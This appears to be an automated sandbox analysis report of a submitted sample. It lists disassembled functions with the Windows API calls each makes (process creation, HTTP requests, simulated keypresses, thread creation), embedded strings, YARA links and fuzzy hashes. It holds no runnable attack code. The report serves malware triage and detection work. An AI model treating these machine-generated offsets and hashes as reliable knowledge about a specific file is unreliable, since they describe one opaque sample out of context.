APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0059FAA6
OleUninitialize.OLE32(?,00000000), ref: 0059FB45
UnregisterHotKey.USER32(?), ref: 0059FC9C
DestroyWindow.USER32(?), ref: 005D45D6
FreeLibrary.KERNEL32(?), ref: 005D463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 005D4668

Strings

close all, xrefs: 0059FAA1

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: e41bf35917309093b2daed95297a5280c1eb89e350690d2d745e346def2c58ef
Instruction ID: 66b7881a38096f8dacd72948b7cf07216f5c076af6b414b850b8990bff93488a
Opcode Fuzzy Hash: e41bf35917309093b2daed95297a5280c1eb89e350690d2d745e346def2c58ef
Instruction Fuzzy Hash: 7FA17C30701212CFCF29EF14C599A69FB65BF55710F1486AEE80AAB261DB30ED16CF90

Function 00609113 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00609167
VariantInit.OLEAUT32(?), ref: 00609238
VariantInit.OLEAUT32(?), ref: 00609339
VariantClear.OLEAUT32(?), ref: 00609343
VariantClear.OLEAUT32(?), ref: 006093A0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0060931C
Null Object assignment in FOR..IN loop, xrefs: 006091C8, 006092F6, 006093AE
,,b, xrefs: 006091E5

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: ,,b$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-1336484364
Opcode ID: 3c4e2d27efbeb2ba0ca679c107a64101fbeb57e3750a54e888a2f331a009f490
Instruction ID: 773e83f18d7384756fdd875b62318955e63dc4cf4b8855b1a97c72f2485589b0
Opcode Fuzzy Hash: 3c4e2d27efbeb2ba0ca679c107a64101fbeb57e3750a54e888a2f331a009f490
Instruction Fuzzy Hash: 94918F70A40215ABDF28DFA5C848FEFBBBAEF45710F108559E515AB2C2D7709901CFA0

Function 005EA068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,005EA439), ref: 005EA377

Strings

CLASSNN, xrefs: 005EA119
INSTANCE, xrefs: 005EA285
TEXT, xrefs: 005EA2AE
CLASS, xrefs: 005EA0F6
NAME, xrefs: 005EA1A9
REGEXPCLASS, xrefs: 005EA13C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: b169c2711321f90476ccfa58edd12109f705f3a2b7fa00b57e629aa7199c06ad
Instruction ID: 4c72c593880240a8a3c24baacb6b5d491cff0b8fa42e77b6fc05296631ec56a5
Opcode Fuzzy Hash: b169c2711321f90476ccfa58edd12109f705f3a2b7fa00b57e629aa7199c06ad
Instruction Fuzzy Hash: B391B430A00646AADB0CEFB1C445BEEFFB5BF44300F548519E999A7181DF317999CBA1

Function 00592E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00592EAE

Part of subcall function 00591DB3: GetClientRect.USER32(?,?), ref: 00591DDC
Part of subcall function 00591DB3: GetWindowRect.USER32(?,?), ref: 00591E1D
Part of subcall function 00591DB3: ScreenToClient.USER32(?,?), ref: 00591E45

GetDC.USER32 ref: 005CCD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 005CCD45
SelectObject.GDI32(00000000,00000000), ref: 005CCD53
SelectObject.GDI32(00000000,00000000), ref: 005CCD68
ReleaseDC.USER32(?,00000000), ref: 005CCD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 005CCDFB

Strings

U, xrefs: 005CCCD0

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 9450f6013911865efc0cbbd8bcf11740fc7be623659855ee9e9f5f7043f96f05
Instruction ID: 116d67fb78083fd90b659ad5e6961fd90643fbdfb5972fda7f43dc745b42c799
Opcode Fuzzy Hash: 9450f6013911865efc0cbbd8bcf11740fc7be623659855ee9e9f5f7043f96f05
Instruction Fuzzy Hash: 31719131500205EFCF218FA4C894ABA7FBAFF49320F18466EED5A5A266D7318C91DB50

Function 00601A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00601A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00601A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00601ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00601AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00601AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00601B10
InternetCloseHandle.WININET(00000000), ref: 00601B57

Part of subcall function 00602483: GetLastError.KERNEL32(?,?,00601817,00000000,00000000,00000001), ref: 00602498
Part of subcall function 00602483: SetEvent.KERNEL32(?,?,00601817,00000000,00000000,00000001), ref: 006024AD

Strings

, xrefs: 00601B01

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 68eddcb2b52753dcf10010323078aa6e0e2a87b44bd915d7b3ed4ebe726f8eb3
Instruction ID: 5504aca780bb72f49945caacec9351978485071170f151f473a654f047bdd942
Opcode Fuzzy Hash: 68eddcb2b52753dcf10010323078aa6e0e2a87b44bd915d7b3ed4ebe726f8eb3
Instruction Fuzzy Hash: 794192B1541209BFEB168F50CC89FFB77AEFF09354F04811AF9059A281E7709E409BA4

Function 00608C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0061F910), ref: 00608D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0061F910), ref: 00608D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00608ED6
SysFreeString.OLEAUT32(?), ref: 00608F00

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 8379c427be6bf6ad7734828aecbc34c2454930c82dd1a3b5cf3e40f5171c2bb3
Instruction ID: ee9ea13617c7523391a086cc669af6eacadad32a141ed73024ace23a1631178e
Opcode Fuzzy Hash: 8379c427be6bf6ad7734828aecbc34c2454930c82dd1a3b5cf3e40f5171c2bb3
Instruction Fuzzy Hash: B1F11B71A40109AFDF18DF94C884EEEB7BAFF45314F148458F546AB291DB31AE46CB60

Function 0060F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0060F6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0060F848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0060F86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0060F8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0060F8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0060FA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0060FA7C
CloseHandle.KERNEL32(?), ref: 0060FAAB
CloseHandle.KERNEL32(?), ref: 0060FB22

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 5308066841b2f61ce8fe3b325415dba6a1af35584e7a41a811dae96277b6cfaf
Instruction ID: e31a253b083866ba763ffec89dda850083c7af175e88b7bc2549e7925322cc13
Opcode Fuzzy Hash: 5308066841b2f61ce8fe3b325415dba6a1af35584e7a41a811dae96277b6cfaf
Instruction Fuzzy Hash: 72E190312442019FCB28EF24C495AABBBE6FF85354F14856DF8998B3A1DB31EC41CB52

Function 005F4CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,005F3697,?), ref: 005F468B

Part of subcall function 005F466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,005F3697,?), ref: 005F46A4

Part of subcall function 005F4A31: GetFileAttributesW.KERNEL32(?,005F370B), ref: 005F4A32

lstrcmpiW.KERNEL32(?,?), ref: 005F4D40
_wcscmp.LIBCMT ref: 005F4D5A
MoveFileW.KERNEL32(?,?), ref: 005F4D75

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 8dbb6ebb31eef7d98da577c87d6cc5f56054e7b79318106e1e0aee5b5aa0e11e
Instruction ID: 057121b840593d427cafb60c52bf040d59c646713c85bb0e309dfe8b476ffc19
Opcode Fuzzy Hash: 8dbb6ebb31eef7d98da577c87d6cc5f56054e7b79318106e1e0aee5b5aa0e11e
Instruction Fuzzy Hash: 775154B20083499BC725DB64D8859EF7BECBFC4350F40492EB289D3151EF34A688CB66

Function 00618645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 006186FF

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: baa3bdfe6a1316b5fbdc1a7bfc641e1cabc88ed37ed563be4ed5e2a06cc5f7ee
Instruction ID: 7949009e3d3fcbff3de22da536e95bbc82e8a23ec5a03d0bcac573cc9b9b6e2d
Opcode Fuzzy Hash: baa3bdfe6a1316b5fbdc1a7bfc641e1cabc88ed37ed563be4ed5e2a06cc5f7ee
Instruction Fuzzy Hash: A2518F30500244BEEF209B249C89FED7BA7AB05360F684216F915E72E1DB75A9C0CB91

Function 00592B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 005CC2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 005CC319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 005CC331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 005CC34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 005CC370
DestroyIcon.USER32(00000000), ref: 005CC37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 005CC39C
DestroyIcon.USER32(?), ref: 005CC3AB

Part of subcall function 0061A4AF: DeleteObject.GDI32(00000000), ref: 0061A4E8

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: a333be2dc3272152641c4c8d78c5a38bc2760f615edcb2be030c546bdb52aefa
Instruction ID: 400f64689f04b2c3320292a08e55668e50c2e7a7484cb923f13d66af2e7f0fb5
Opcode Fuzzy Hash: a333be2dc3272152641c4c8d78c5a38bc2760f615edcb2be030c546bdb52aefa
Instruction Fuzzy Hash: C3514774A00209AFDF20DF64DC45FAA3FE6FB48710F108929F946972A0DB70AD90DB50

Function 005E966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 005EA82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 005EA84C
Part of subcall function 005EA82C: GetCurrentThreadId.KERNEL32 ref: 005EA853
Part of subcall function 005EA82C: AttachThreadInput.USER32(00000000,?,005E9683,?,00000001), ref: 005EA85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 005E968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 005E96AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 005E96AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 005E96B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 005E96D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 005E96D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 005E96E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 005E96F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 005E96FB

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 35fb952a30d1ab71445da3630a176ba83b4aa5e6ee8883faaf6dc2c82b69e27a
Instruction ID: 61feba8b34589a789fb053e02e13ea17ff6d1961e36e051b5818c014e9accf88
Opcode Fuzzy Hash: 35fb952a30d1ab71445da3630a176ba83b4aa5e6ee8883faaf6dc2c82b69e27a
Instruction Fuzzy Hash: EA11A571950618BEF7106F71DC4AFAA7F1EEB4C751F115426F244AB0A0C9F25C50DAE4

Function 005E8921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,005E853C,00000B00,?,?), ref: 005E892A
HeapAlloc.KERNEL32(00000000,?,005E853C,00000B00,?,?), ref: 005E8931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,005E853C,00000B00,?,?), ref: 005E8946
GetCurrentProcess.KERNEL32(?,00000000,?,005E853C,00000B00,?,?), ref: 005E894E
DuplicateHandle.KERNEL32(00000000,?,005E853C,00000B00,?,?), ref: 005E8951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,005E853C,00000B00,?,?), ref: 005E8961
GetCurrentProcess.KERNEL32(005E853C,00000000,?,005E853C,00000B00,?,?), ref: 005E8969
DuplicateHandle.KERNEL32(00000000,?,005E853C,00000B00,?,?), ref: 005E896C
CreateThread.KERNEL32(00000000,00000000,005E8992,00000000,00000000,00000000), ref: 005E8986

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: fa72d620b42a5070a626c9a83198c7922a320f40a8c749e26f55b4054dfd919d
Instruction ID: 46944c4e5a18b90ea41ba66b3f2b30cedbda1cf711ffd674e1a5818ded4bb1b7
Opcode Fuzzy Hash: fa72d620b42a5070a626c9a83198c7922a320f40a8c749e26f55b4054dfd919d
Instruction Fuzzy Hash: 8A01BFB5640344FFE710ABA5DC4EFA73B6DEB89711F449421FA05DB191CA749800CB20

Function 00609B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00609BA4, 00609EC8
Not an Object type, xrefs: 00609B7B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: f990b333cadcba56b9f2f96f1464176dc86eb671ab83ec8a1af5fa2af1639373
Instruction ID: 150a8594160f8e958aee6284452f8b9f8cdab88ac2325a011126c9fce1f9d972
Opcode Fuzzy Hash: f990b333cadcba56b9f2f96f1464176dc86eb671ab83ec8a1af5fa2af1639373
Instruction Fuzzy Hash: F9C16E71A4021A9BDF18DF58D884AEFB7B7FF88314F148469E905A72C2E770AD45CB60

Function 0060975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 005E710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,005E7044,80070057,?,?,?,005E7455), ref: 005E7127
Part of subcall function 005E710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,005E7044,80070057,?,?), ref: 005E7142
Part of subcall function 005E710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,005E7044,80070057,?,?), ref: 005E7150
Part of subcall function 005E710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,005E7044,80070057,?), ref: 005E7160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00609806
_memset.LIBCMT ref: 00609813
_memset.LIBCMT ref: 00609956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00609982
CoTaskMemFree.OLE32(?), ref: 0060998D

Strings

NULL Pointer assignment, xrefs: 006099DB

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 6a3c65e5385dd875b01df9d5dace8e0de8854a1bb6bd0131bf5d47e7c393ad71
Instruction ID: 13501042559199c1f64c532a36a7618e2158a44cf227063a5843422b9b39161e
Opcode Fuzzy Hash: 6a3c65e5385dd875b01df9d5dace8e0de8854a1bb6bd0131bf5d47e7c393ad71
Instruction Fuzzy Hash: BA913571D00229ABDF14DFA5DC44EDEBBBABF48310F20415AF519A7281EB319A44CFA0

Function 00616D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00616E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 00616E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00616E52
_wcscat.LIBCMT ref: 00616EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 00616EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00616EF2

Strings

SysListView32, xrefs: 00616DF6

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 85d90ada312ee18ea28d71639e1639d5dd3a39827c2ad7165b6f6546fd74f83f
Instruction ID: 34991d27fdb059d51c4bf3e76ffb1c8a64a9f1ae9e1a46ce42d47ad4cac15c30
Opcode Fuzzy Hash: 85d90ada312ee18ea28d71639e1639d5dd3a39827c2ad7165b6f6546fd74f83f
Instruction Fuzzy Hash: 4941C074A00309AFDB21DFA4CC89BEA77FAEF08350F14452AF984E7291D6719DC48B60

Function 0060E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 005F3C55: CreateToolhelp32Snapshot.KERNEL32 ref: 005F3C7A
Part of subcall function 005F3C55: Process32FirstW.KERNEL32(00000000,?), ref: 005F3C88
Part of subcall function 005F3C55: CloseHandle.KERNEL32(00000000), ref: 005F3D52

